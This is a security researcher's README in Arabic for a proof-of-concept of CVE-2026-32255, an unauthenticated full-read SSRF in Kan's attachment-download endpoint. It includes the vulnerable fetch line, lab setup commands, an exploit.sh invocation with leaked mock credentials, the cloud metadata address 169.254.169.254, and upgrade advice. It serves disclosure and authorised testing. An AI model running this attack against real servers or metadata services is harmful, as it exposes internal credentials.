
يحتوي هذا المستودع على إثبات مفهوم (POC) لثغرة CVE-2026-32255، وهي ثغرة تزوير طلبات من جانب الخادم (SSRF) عالية الخطورة في Kan، وهي أداة مفتوحة المصدر لإدارة المشاريع.
يحتوي هذا المستودع على إثبات المفهوم (POC) لثغرة CVE-2026-32255، وهي ثغرة تزوير الطلبات من جانب الخادم (SSRF) عالية الخطورة في Kan، وهي أداة مفتوحة المصدر لإدارة المشاريع.
تسمح نقطة النهاية المعرضة للخطر للمهاجمين غير المصادق عليهم بإجراء طلبات HTTP عشوائية من الخادم وقراءة الاستجابة الكاملة، مما يتيح الوصول إلى الخدمات الداخلية ونقاط نهاية البيانات الوصفية السحابية.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:Nيُعرّض الملف apps/web/src/pages/api/download/attatchment.ts نقطة نهاية GET /api/download/attatchment مصممة لوكيل تنزيلات المرفقات من تخزين S3. تقبل نقطة النهاية معامل url الذي يتحكم فيه المستخدم وتمرره مباشرة إلى fetch() من جانب الخادم دون أي تحقق أو مصادقة:
const upstream = await fetch(url); // no validation on `url`
يمكن للمهاجم توفير أي عنوان URL، مما يتسبب في قيام الخادم بإجراء طلب HTTP إلى هذا الوجهة وإرجاع نص الاستجابة الكامل إلى العميل. هذه ثغرة SSRF بقراءة كاملة (وليست عمياء)، مما يعني أن المهاجم يمكنه قراءة محتوى الاستجابة بالكامل.
http://169.254.169.254/ على AWS/GCP)استنسخ وقم بتشغيل Kan v0.5.4 (آخر إصدار معرض للخطر):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
قم بتكوين متغيرات البيئة المطلوبة:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
ملاحظة: إذا حصلت على خطأ بخصوص
dokploy-network، قم بإزالة مراجعdokploy-networkمنdocker-compose.yml(الأسطر 9، 130-131) ثم قم بتشغيلdocker compose up -dمرة أخرى. هذه الشبكة غير مطلوبة محليًا.
قم بتشغيل الحاويات:
docker compose up -d
يجب أن يكون التطبيق متاحًا على http://localhost:3000.
في محطة طرفية منفصلة، قم بتشغيل الخدمة الداخلية الوهمية المرفقة التي تحاكي واجهة برمجة تطبيقات داخلية حساسة:
python3 internal-service.py
يبدأ هذا خادمًا على المنفذ 8888 يعيد بيانات اعتماد وهمية، محاكيًا خدمة يجب أن تكون متاحة فقط من الشبكة الداخلية. في سيناريو واقعي، ستكون هذه الخدمة معزولة خلف جدار حماية ولا يمكن الوصول إليها من الخارج. تسمح ثغرة SSRF للمهاجم بالوصول إليها عبر الخادم.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <target-url> [internal-url]
<target-url>: عنوان URL الأساسي لنسخة Kan (مثل http://localhost:3000)[internal-url]: عنوان URL الداخلي للجلب عبر SSRF (اختياري، يتم اكتشافه تلقائيًا من بوابة جسر Docker)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888
[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)
[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource
Leaked content:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
قم بالتحديث إلى Kan v0.5.5 أو أحدث، والذي يتحقق من معامل url مقابل اسم مضيف نقطة نهاية S3 المُكوَّن قبل توكيل الطلب.
إذا لم تتمكن من التحديث فورًا، قم بحظر الوصول الخارجي إلى نقطة النهاية المعرضة للخطر على مستوى الوكيل العكسي.
إثبات المفهوم هذا مقدم لأغراض تعليمية ولاختبارات الأمان المصرح بها فقط. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
المؤلف غير مسؤول عن أي إساءة استخدام للمعلومات أو الأدوات المقدمة في هذا المستودع. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
اكتشف بواسطة: kOaDT ([email protected])